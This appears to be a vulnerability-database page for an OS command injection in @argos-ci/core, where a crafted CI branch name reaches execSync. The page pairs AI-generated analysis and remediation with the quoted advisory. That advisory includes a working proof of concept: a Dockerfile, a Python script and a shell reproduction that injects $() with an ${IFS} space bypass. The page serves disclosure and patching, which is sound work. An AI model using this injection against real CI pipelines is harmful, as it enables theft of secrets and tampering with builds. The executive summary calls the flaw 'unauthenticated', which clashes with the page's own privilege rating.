Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconFork target repo
-
DeliveryCreate PR from branch with $() payload
-
ExploitCI workflow triggers on PR
-
InstallArgos reads GITHUB_HEAD_REF into config.branch
-
C2hasRemoteContentAccess=false routes to getMergeBaseCommitSha
-
ExecuteexecSync passes branch string to /bin/sh
-
ImpactShell evaluates $() before git runs
-
Step 8Arbitrary command executes on CI runner
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three concrete conditions: (1) the target CI pipeline uses @argos-ci/core <=6.2.0 or @argos-ci/cli that depends on it; (2) the Argos project is configured with hasRemoteContentAccess: false, which is the default for projects that have not connected a Git provider integration - this is NOT a rare or hardened configuration; and (3) the attacker can influence the branch or ref name that reaches the CLI, for example by opening a pull request with a crafted branch name (GITHUB_HEAD_REF), by setting the ARGOS_BRANCH environment variable if CI environment variables are attacker-influenced, or by controlling any upstream source that populates config.branch. Exploitation does NOT require authentication beyond possessing a GitHub account to open a fork PR. Exploitation does NOT require any user interaction after the CI workflow triggers. The main limiting factor is that the vulnerability only fires when getMergeBaseCommitSha() is invoked, which is gated on hasRemoteContentAccess: false - teams that have connected a Git provider integration to Argos are not on the vulnerable code path. |
| Impact | The CVSS vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H is well-calibrated: AC:H reflects the hasRemoteContentAccess: false prerequisite, though this is the default for a significant fraction of Argos users, making the effective attack population larger than AC:H alone suggests. PR:L captures the requirement to open or influence a pull request, which on public repositories reduces to possessing any GitHub account. The existence of a working public PoC (complete with Docker image and Python orchestration script) means the barrier to exploitation is very low for those who know the target project uses Argos without a Git provider integration. Even a mid-sized municipal IT team in rybnik maintaining a visual regression suite would face realistic risk if their CI workflow processes PRs from forks without isolating secrets from fork-initiated runs (the pull_request_target scenario). No KEV listing is present, and no public exploitation in the wild has been confirmed, but the fully documented PoC and the high C/I/A impact (CI secrets, build artifact tampering, lateral movement) make this a genuine priority for any team running Argos in a public repository context. The absence of scope change (S:U) is the main limiting factor - exploitation is confined to the CI runner process rather than automatically propagating to adjacent systems, though CI runner compromise commonly enables supply-chain attacks downstream. |
| Exploit ScenarioDerived | An external contributor forks a public repository that uses @argos-ci/cli in its CI workflow, then opens a pull request from a branch named main$(touch${IFS}/tmp/argos-ci-cve-poc). The repository's CI workflow triggers, runs argos upload, the SDK reads GITHUB_HEAD_REF and - because hasRemoteContentAccess is false by default - calls getMergeBaseCommitSha(), which passes the branch name to gitFetch() via execSync(); the shell evaluates the $() substitution and executes the injected command on the CI runner before git even connects to the remote. A working public PoC (Docker + Python, detailed in GHSA-4x45-gxvp-6283) demonstrates the full attack, including ${IFS}-based space bypass to defeat naive space-based filters. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 10, 2026
OS command injection in @argos-ci/core <=6.2.0 allows any attacker who can influence a CI pipeline's branch or ref name to execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process. The vulnerable sink is in packages/core/src/ci-environment/git.ts:89, where execSync() receives an unsanitized branch string interpolated into a template literal passed directly to /bin/sh -c, which evaluates $() command substitution and other metacharacters before spawning git. A fully working proof-of-concept exploit exists (GHSA-4x45-gxvp-6283) and the attack surface is widened by the fact that hasRemoteContentAccess: false - the configuration that triggers the vulnerable code path - is the default for projects without a connected Git provider integration.
RemediationAI
Upgrade @argos-ci/core to version 6.2.1 or later, confirmed fixed in commit 8355f3af3be3f4fe361d58a688d21535cf672717 (https://github.com/argos-ci/argos-javascript/commit/8355f3af3be3f4fe361d58a688d21535cf672717) and released at https://github.com/argos-ci/argos-javascript/releases/tag/@argos-ci/core@6.2.1. The fix replaces execSync() template-literal calls with execFileSync() argument arrays throughout git.ts, eliminating shell interpretation entirely. If immediate upgrade is not possible, restrict fork-PR workflows so that CI pipelines triggered by pull_request_target (or equivalent privileged contexts) do not run argos upload with untrusted branch names from external contributors - use the pull_request event instead, which runs with reduced permissions and does not expose repository secrets to fork code. As a secondary control, explicitly setting ARGOS_BRANCH to a sanitized value (stripping all characters outside [a-zA-Z0-9._/-]) in the CI workflow before invoking the CLI provides defense in depth, but is not a substitute for the code-level fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected package is @argos-ci/core (npm), a visual screenshot testing SDK used in CI pipelines. The root cause is CWE-78 (OS Command Injection): Node.js's execSync() function, when invoked with a template-literal string, passes the entire string to /bin/sh -c, causing the shell to interpret metacharacters ($(), backticks, semicolons) before invoking the intended git subprocess. Two sinks are identified in git.ts - the primary sink at line 89 (gitFetch) and a secondary at line 67 (gitMergeBase) - neither of which applies shell escaping or argument array isolation. The taint originates from GITHUB_HEAD_REF read at github-actions.ts:104, flows through config.ts:119-123 (which applies only a String cast, not sanitization), and reaches the sink via upload.ts:285 when the Argos API returns hasRemoteContentAccess: false. The affected CPE is pkg:npm/@argos-ci/core versions <=6.2.0. The fix (commit 8355f3af, released as 6.2.1) replaces all execSync template-literal calls with execFileSync using argument arrays, bypassing the shell entirely.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
AC:H reflects hasRemoteContentAccess:false prerequisite; PR:L captures fork-PR account requirement; full C/I/A on CI runner; no scope change.
Primary rating from Vendor (https://github.com/argos-ci/argos-javascript).
CVSS VectorVendor: https://github.com/argos-ci/argos-javascript
DescriptionCVE.org
CI Branch Name OS Command Injection in @argos-ci/core
Summary
@argos-ci/core@6.2.0 passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).
Details
The vulnerable sink is in packages/core/src/ci-environment/git.ts:87-90:
function gitFetch(input: { ref: string; depth: number; target: string }) {
execSync(
`git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
);
}execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.
A secondary sink exists at packages/core/src/ci-environment/git.ts:67:
execSync(`git merge-base ${input.head} ${input.base}`)Complete data flow (source → sink):
packages/core/src/ci-environment/services/github-actions.ts:104- readsenv.GITHUB_HEAD_REFwithout validation (source).packages/core/src/ci-environment/services/github-actions.ts:165- returns the branch from the CI context.packages/core/src/ci-environment/services/github-actions.ts:330- stores the value asbranch.packages/core/src/config.ts:119-123- loadsciEnv?.branchintoconfig.branch; onlyformat: Stringis applied, no sanitization.packages/core/src/upload.ts:285- callsgetMergeBaseCommitSha({ base, head: config.branch })when the API returnshasRemoteContentAccess: false.packages/core/src/ci-environment/git.ts:123- passes attacker-controlled value asreftogitFetch().packages/core/src/ci-environment/git.ts:89- sink:execSync(git fetch ... origin ${input.ref}:${input.target}).
There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.
Recommended remediation - replace template-literal execSync calls with execFileSync using argument arrays, which bypass the shell entirely:
-import { execSync } from "node:child_process";
+import { execFileSync, execSync } from "node:child_process";
function gitFetch(input: { ref: string; depth: number; target: string }) {
- execSync(
- `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
- );
+ execFileSync("git", [
+ "fetch", "--force", "--update-head-ok",
+ "--depth", String(input.depth),
+ "origin", `${input.ref}:${input.target}`,
+ ]);
}
function gitMergeBase(input: { base: string; head: string }) {
- return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();
+ return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim();
}PoC
Prerequisites:
- Docker installed on the test machine.
- Internet access to pull
node:22and install@argos-ci/cli@5.0.5from npm.
Step 1 - Build the Docker image:
docker build -t argos-vuln-001 \
-f /path/to/vuln-001/Dockerfile \
/path/to/reports/npmAI_634_argos-ci__argos-javascript/The Dockerfile:
- Uses
node:22as the base. - Creates a local bare git repository at
/remote.gitand a working repository at/git-workspacewith that bare repo asorigin, sogit fetchhas a reachable remote. - Installs
@argos-ci/cli@5.1.0(which depends on@argos-ci/core@6.2.0) globally from the public npm registry. - Copies
poc.pyas the container entrypoint.
Step 2 - Run the container:
docker run --rm argos-vuln-001What the PoC (poc.py) does:
- Starts a local HTTP mock server on
127.0.0.1:7777that returns{"hasRemoteContentAccess": false}forGET /v2/project, activating thegetMergeBaseCommitSha()code path. - Sets
ARGOS_BRANCHtomain$(touch${IFS}/tmp/argos-ci-cve-poc).
$(...)is shell command substitution.${IFS}expands to a space character, bypassing naive space-based filters, making the injected commandtouch /tmp/argos-ci-cve-poc.
- Runs
argos upload <empty-dir> --files '*.png'with the malicious environment. - Checks for the marker file
/tmp/argos-ci-cve-poc.
Expected output:
============================================================
[PASS] VULNERABILITY CONFIRMED
[PASS] Marker file exists: /tmp/argos-ci-cve-poc
[PASS] The shell command injected via ARGOS_BRANCH was executed
[PASS] by execSync() inside gitFetch() (git.ts:88-90).
============================================================The marker file is created *before* git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.
Manual reproduction (without Docker):
mkdir -p /tmp/argos-poc && cd /tmp/argos-poc
git init && git remote add origin https://github.com/argos-ci/argos-javascript.git
# Start a minimal mock API server (background)
node -e "
const http = require('http');
http.createServer((req, res) => {
if (req.url === '/v2/project') {
res.writeHead(200, {'content-type':'application/json'});
res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));
return;
}
res.writeHead(200, {'content-type':'application/json'});
res.end('{}');
}).listen(7777);
" &
mkdir empty
rm -f /tmp/argos-ci-cve-poc
ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \
ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \
ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \
npx -y @argos-ci/cli@5.0.5 upload empty --files '*.png' || true
test -f /tmp/argos-ci-cve-poc && echo "COMMAND_EXECUTED"Impact
This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos - for example, by opening a pull request with a crafted branch name, or by controlling the GITHUB_HEAD_REF / ARGOS_BRANCH environment variable - can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.
Who is impacted:
- Any organization using
@argos-ci/core(or the CLI@argos-ci/cli) in a CI pipeline where the project's Argos configuration hashasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users. - The risk is highest in
pull_request_targetor other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks. - Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.
Reproduction artifacts
Dockerfile
FROM node:22
# Install git and Python 3
RUN apt-get update && \
apt-get install -y --no-install-recommends git python3 && \
rm -rf /var/lib/apt/lists/*
# Configure git identity for commits inside the container
RUN git config --global user.email "poc@test.local" && \
git config --global user.name "PoC Test" && \
git config --global init.defaultBranch main
# Create a local bare repository that acts as the "origin" remote.
# This lets git fetch succeed (reaching a real remote is not required for the
# injection -- the shell expands $() before git connects -- but a working
# remote means getMergeBaseCommitSha() returns a real SHA and the full
# upload code-path is exercised without extra noise from git errors.)
RUN git init --bare /remote.git
# Create the working repository with the bare repo as origin
RUN git init /git-workspace && \
cd /git-workspace && \
git remote add origin /remote.git && \
echo "initial" > README.md && \
git add README.md && \
git commit -m "Initial commit" && \
git branch -M main && \
git push -u origin main
# Copy the cloned repository source for reference / source evidence.
# The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90.
COPY repo /argos-repo
# Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0)
# from the public npm registry -- same version as the cloned repository.
RUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn
# Copy the Python PoC script
COPY vuln-001/poc.py /poc.py
# Run from inside the git workspace so that git commands find the correct repo
WORKDIR /git-workspace
ENTRYPOINT ["python3", "/poc.py"]poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0
Vulnerability: CWE-78 (OS Command Injection)
Affected file: packages/core/src/ci-environment/git.ts:87-90
The gitFetch() function passes user-controlled ref strings directly into an
execSync() template literal. Node.js execSync() invokes /bin/sh -c "...", so
shell metacharacters in the string -- including $() command substitution --
are evaluated before git runs.
Attack chain (source -> sink):
env.GITHUB_HEAD_REF / ARGOS_BRANCH
-> config.ts:119-122 (String cast, no sanitisation)
-> upload.ts:285 getMergeBaseCommitSha({ head: config.branch })
-> git.ts:123 gitFetch({ ref: input.head, ... })
-> git.ts:89 execSync(`git fetch ... origin ${input.ref}:${input.target}`)
^^^^^^^^ shell injection sink
This script:
1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false
for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.
2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value
containing a $() command substitution.
3. Checks for a filesystem artefact that proves execution.
"""
import json
import os
import subprocess
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
# File created by the injected command -- its existence proves execution.
MARKER_FILE = "/tmp/argos-ci-cve-poc"
# Port for the mock Argos API server.
MOCK_PORT = 7777
class MockArgosAPI(BaseHTTPRequestHandler):
"""Minimal mock of the Argos REST API.
Only two responses matter:
- GET /v2/project -- must return hasRemoteContentAccess=false to trigger
the git-based merge-base discovery code-path.
- POST /v2/builds -- needs to return a recognisable structure so the SDK
does not abort before we can observe the side-effect.
"""
def log_message(self, fmt, *args):
# Suppress per-request log noise; PoC progress messages are enough.
pass
def _send_json(self, status: int, body: dict) -> None:
raw = json.dumps(body).encode()
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(raw)))
self.end_headers()
self.wfile.write(raw)
def do_GET(self):
if self.path.rstrip("/") == "/v2/project":
# hasRemoteContentAccess=false is the precondition that makes the
# SDK call getMergeBaseCommitSha() instead of fetching from the
# Git provider API. This is the key to reaching the sink.
self._send_json(200, {
"id": "proj-1",
"defaultBaseBranch": "main",
"hasRemoteContentAccess": False,
})
else:
self._send_json(200, {})
def do_POST(self):
# Drain request body to keep the connection clean.
length = int(self.headers.get("Content-Length", 0))
self.rfile.read(length)
if "/builds" in self.path:
# Return the minimal structure the SDK dereferences after POST /builds.
self._send_json(201, {
"id": "build-1",
"url": "http://localhost/build/1",
"screenshots": [],
"pwTraces": [],
})
else:
self._send_json(200, {})
def do_PUT(self):
length = int(self.headers.get("Content-Length", 0))
self.rfile.read(length)
self._send_json(200, {})
def start_mock_server() -> HTTPServer:
server = HTTPServer(("127.0.0.1", MOCK_PORT), MockArgosAPI)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
def main():
print("[*] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection")
print("[*] Source sink: packages/core/src/ci-environment/git.ts:87-90")
print()
# Remove any stale marker from a previous run.
if os.path.exists(MARKER_FILE):
os.remove(MARKER_FILE)
# Start the mock Argos API.
server = start_mock_server()
print(f"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}")
# Build the malicious branch name.
# Breakdown:
# main -- valid branch prefix so git ref looks plausible
# $(...) -- shell command substitution, evaluated by /bin/sh
# touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space
# filters and forming "touch <path>"
malicious_branch = f"main$(touch${{IFS}}{MARKER_FILE})"
print(f"[*] Malicious ARGOS_BRANCH value: {malicious_branch}")
print(f"[*] Expected shell expansion: touch {MARKER_FILE}")
print()
# Empty upload directory -- no real screenshots needed. The injection
# occurs during merge-base discovery before any upload loop runs.
upload_dir = "/tmp/argos-empty-upload"
os.makedirs(upload_dir, exist_ok=True)
env = dict(os.environ)
env.update({
"ARGOS_API_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/v2/",
"ARGOS_TOKEN": "a" * 40,
"ARGOS_COMMIT": "0" * 40,
"ARGOS_BRANCH": malicious_branch,
# Disable update-notifier noise inside the CLI.
"NO_UPDATE_NOTIFIER": "1",
})
print("[*] Running: argos upload <empty-dir> --files '*.png'")
result = subprocess.run(
["argos", "upload", upload_dir, "--files", "*.png"],
env=env,
capture_output=True,
text=True,
# CWD must be a git repository with an 'origin' remote so that
# git fetch has a valid context. /git-workspace is prepared in the
# Dockerfile for this purpose.
cwd="/git-workspace",
)
print(f"[*] CLI exit code : {result.returncode}")
if result.stdout.strip():
print(f"[*] CLI stdout : {result.stdout.strip()[:600]}")
if result.stderr.strip():
print(f"[*] CLI stderr : {result.stderr.strip()[:600]}")
server.shutdown()
print()
# --- Verdict ---
if os.path.exists(MARKER_FILE):
print("=" * 60)
print("[PASS] VULNERABILITY CONFIRMED")
print(f"[PASS] Marker file exists: {MARKER_FILE}")
print("[PASS] The shell command injected via ARGOS_BRANCH was executed")
print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).")
print("=" * 60)
sys.exit(0)
else:
print("=" * 60)
print("[FAIL] Marker file not found -- injection did not trigger.")
print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.")
print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.")
print("=" * 60)
sys.exit(1)
if __name__ == "__main__":
main()Articles & Coverage 1
Technical POC Analysis
CWE-78 (OS Command Injection), in @argos-ci/core (packages/core).
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
@argos-ci/core versions through 6.2.0 expose organizations to unauthenticated remote code execution on CI infrastructure through malicious branch names-a critical risk because this screenshot-testing tool uses vulnerable configuration by default. Any attacker can inject arbitrary commands into build environments without credentials, compromising secrets, deployment access, and release pipelines. Publicly available exploit code means this vulnerability is actively actionable today.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
EUVD-2026-77641
GHSA-4x45-gxvp-6283
NVD
CVE.org
EPSS
Exploit-DB